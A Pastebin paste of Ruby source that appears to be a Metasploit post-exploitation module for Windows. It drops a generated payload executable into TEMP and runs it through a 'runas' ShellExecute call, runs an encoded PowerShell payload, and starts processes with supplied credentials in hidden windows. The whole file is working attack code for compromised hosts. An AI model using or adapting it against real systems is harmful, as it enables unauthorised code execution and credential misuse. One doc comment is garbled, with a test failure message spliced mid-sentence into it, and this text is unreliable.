Guest User

Untitled

a guest
Jul 13th, 2015
469
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # -*- coding: binary -*-
  2.  
  3. require 'msf/core/exploit/powershell'
  4. require 'msf/core/exploit/exe'
  5.  
  6. module Msf::Post::Windows::Runas
  7.  
  8. include Msf::Post::File
  9. include Msf::Exploit::EXE
  10. include Msf::Exploit::Powershell
  11. include Msf::Post::Windows::Error
  12.  
  13. ERROR = Msf::Post::Windows::Error
  14. MAX_PATH = 260
  15. STARTF_USESHOWWINDOW = 0x00000001
  16. SW_HIDE = 0
  17.  
  18. def shell_execute_exe(filename = nil, path = nil)
  19. exe_payload = generate_payload_exe
  20. payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
  21. payload_path = path || get_env('TEMP')
  22. cmd_location = "#{payload_path}\\#{payload_filename}"
  23. if filename == nil
  24. print_status("Uploading payload to the filesystem...")
  25. write_file(cmd_location, exe_payload)
  26. else
  27. print_status("Using #{payload_filename}...")
  28. end
  29. command, args = cmd_location, nil
  30. shell_exec(command, args)
  31. end
  32.  
  33. def shell_execute_psh
  34. powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
  35. command = 'cmd.exe'
  36. args = "/c #{powershell_command}"
  37. shell_exec(command, args)
  38. end
  39.  
  40. def shell_exec(command, args)
  41. print_status('Executing Command!')
  42. session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
  43. ::Timeout.timeout(30) do
  44. select(nil, nil, nil, 1) until session_created?
  45. end
  46. end
  47.  
  48. #
  49. # Create a STARTUP_INFO struct for use with CreateProcessA
  50. #
  51. # This struct will cause the process to be hidden
  52. #
  53. # @return [String] STARTUP_INFO struct
  54. #
  55. def startup_info
  56. [0, # cb
  57. 0, # lpReserved
  58. 0, # lpDesktop
  59. 0, # lpTitle
  60. 0, # dwX
  61. 0, # dwY
  62. 0, # dwXSize
  63. 0, # dwYSize
  64. 0, # dwXCountChars
  65. 0, # dwYCountChars
  66. 0, # dwFillAttribute
  67. STARTF_USESHOWWINDOW, # dwFlags
  68. SW_HIDE, # wShowWindow
  69. 0, # cbReserved2
  70. 0, # lpReserved2
  71. 0, # hStdInput
  72. 0, # hStdOutput
  73. 0 # hStdError
  74. ].pack('VVVVVVVVVVVVvvVVVV')
  75. end
  76.  
  77. #
  78. # Call CreateProcessWithLogonW to start a process with the supplier
  79. # user credentials
  80. #
  81. # @note The caller should clear up the handles returned in
  82. # the PROCESS_INFORMATION @return hash.
  83. #
  84. # @param domain [String] The target user domain
  85. # @param user [String] The target user
  86. # @param password [String] The target user password
  87. # @param application_name [String] The executable to be run, can be
  88. # nil
  89. # @param command_line [String] The command line or process arguments
  90. #
  91. # @return [Hash, nil] The values from the process_information struct
  92. #
  93. def create_process_with_logon(domain, user, password, application_name, command_line)
  94. return unless check_user_format(user, domain)
  95. return unless check_command_length(application_name, command_line, 1024)
  96.  
  97. vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
  98. create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
  99. domain,
  100. password,
  101. 'LOGON_WITH_PROFILE',
  102. application_name,
  103. command_line,
  104. 'CREATE_UNICODE_ENVIRONMENT',
  105. nil,
  106. nil,
  107. startup_info,
  108. 16)
  109. if create_process['return']
  110. pi = parse_process_information(create_process['lpProcessInformation'])
  111. print_good("Process started successfully, PID: #{pi[:process_id]}")
  112. else
  113. print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
  114. print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
  115. end
  116.  
  117. pi
  118. end
  119.  
  120. #
  121. # Call CreateProcessAsUser to start a process with the supplier
  122. # user credentials
  123. #
  124. # Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
  125. # SE_ASSIGNPRIMARYTOKEN_NAME privileges.
  126. #
  127. # This will normally error with 0xc000142 on later OS's (Vista+?) for
  128. # gui apps but is ok for firing off cmd.exe...
  129. #
  130. # @param domain [String] The target user domain
  131. # @param user [String] The target user
  132. # @param password [String] The target user password
  133. # @param application_name [String] The executable to run :CloseHandle
  134. # with unexpected arguments
  135. # expected: ("testPhToken")
  136. # got: (n be run, can be
  137. # nil
  138. # @param command_line [String] The command line or process arguments
  139. #
  140. # @return [Hash, nil] The values from the process_information struct
  141. #
  142. def create_process_as_user(domain, user, password, application_name, command_line)
  143. return unless check_user_format(user, domain)
  144. return unless check_command_length(application_name, command_line, 32000)
  145.  
  146. vprint_status("Executing LogonUserA...")
  147. logon_user = session.railgun.advapi32.LogonUserA(user,
  148. domain,
  149. password,
  150. 'LOGON32_LOGON_INTERACTIVE',
  151. 'LOGON32_PROVIDER_DEFAULT',
  152. 4)
  153.  
  154. if logon_user['return']
  155. begin
  156. ph_token = logon_user['phToken']
  157. vprint_status("Executing CreateProcessAsUserA...")
  158. create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
  159. application_name,
  160. command_line,
  161. nil,
  162. nil,
  163. false,
  164. 'CREATE_NEW_CONSOLE',
  165. nil,
  166. nil,
  167. startup_info,
  168. 16)
  169.  
  170. if create_process['return']
  171. begin
  172. pi = parse_process_information(create_process['lpProcessInformation'])
  173. ensure
  174. session.railgun.kernel32.CloseHandle(pi[:process_handle])
  175. session.railgun.kernel32.CloseHandle(pi[:thread_handle])
  176. end
  177. print_good("Process started successfully, PID: #{pi[:process_id]}")
  178. else
  179. print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
  180. end
  181.  
  182. return pi
  183. ensure
  184. session.railgun.kernel32.CloseHandle(ph_token)
  185. end
  186. else
  187. print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
  188. end
  189.  
  190. nil
  191. end
  192.  
  193. #
  194. # Parse the PROCESS_INFORMATION struct
  195. #
  196. # @param process_information [String] The PROCESS_INFORMATION value
  197. # from the CreateProcess call
  198. #
  199. # @return [Hash] The values from the process_information struct
  200. #
  201. def parse_process_information(process_information)
  202. fail ArgumentError, 'process_information is nil' if process_information.nil?
  203. fail ArgumentError, 'process_information is empty string' if process_information.empty?
  204.  
  205. pi = process_information.unpack('VVVV')
  206. { :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
  207. end
  208.  
  209. #
  210. # Checks the username and domain is in the correct format
  211. # for the CreateProcess_x WinAPI calls.
  212. #
  213. # @param username [String] The target user
  214. # @param domain [String] The target user domain
  215. #
  216. # @raise [ArgumentError] If the username format is incorrect
  217. #
  218. # @return [True] True if username is in the correct format
  219. #
  220. def check_user_format(username, domain)
  221. fail ArgumentError, 'username is nil' if username.nil?
  222.  
  223. if domain && username.include?('@')
  224. raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
  225. end
  226.  
  227. true
  228. end
  229.  
  230. #
  231. # Checks the command_length parameter is the correct length
  232. # for the CreateProcess_x WinAPI calls depending on the presence
  233. # of application_name
  234. #
  235. # @param application_name [String] lpApplicationName
  236. # @param command_line [String] lpCommandLine
  237. # @param max_length [Integer] The max command length of the respective
  238. # CreateProcess function
  239. #
  240. # @raise [ArgumentError] If the command_line is too large
  241. #
  242. # @return [True] True if the command_line is within the correct bounds
  243. #
  244. def check_command_length(application_name, command_line, max_length)
  245. fail ArgumentError, 'max_length is nil' if max_length.nil?
  246.  
  247. if application_name.nil? && command_line.nil?
  248. raise ArgumentError, 'Both application_name and command_line are nil'
  249. elsif command_line && command_line.length > max_length
  250. raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
  251. elsif application_name.nil? && command_line
  252. cl = command_line.split(' ')
  253. if cl[0] && cl[0].length > MAX_PATH
  254. raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
  255. end
  256. end
  257.  
  258. true
  259. end
  260. end
RAW Paste Data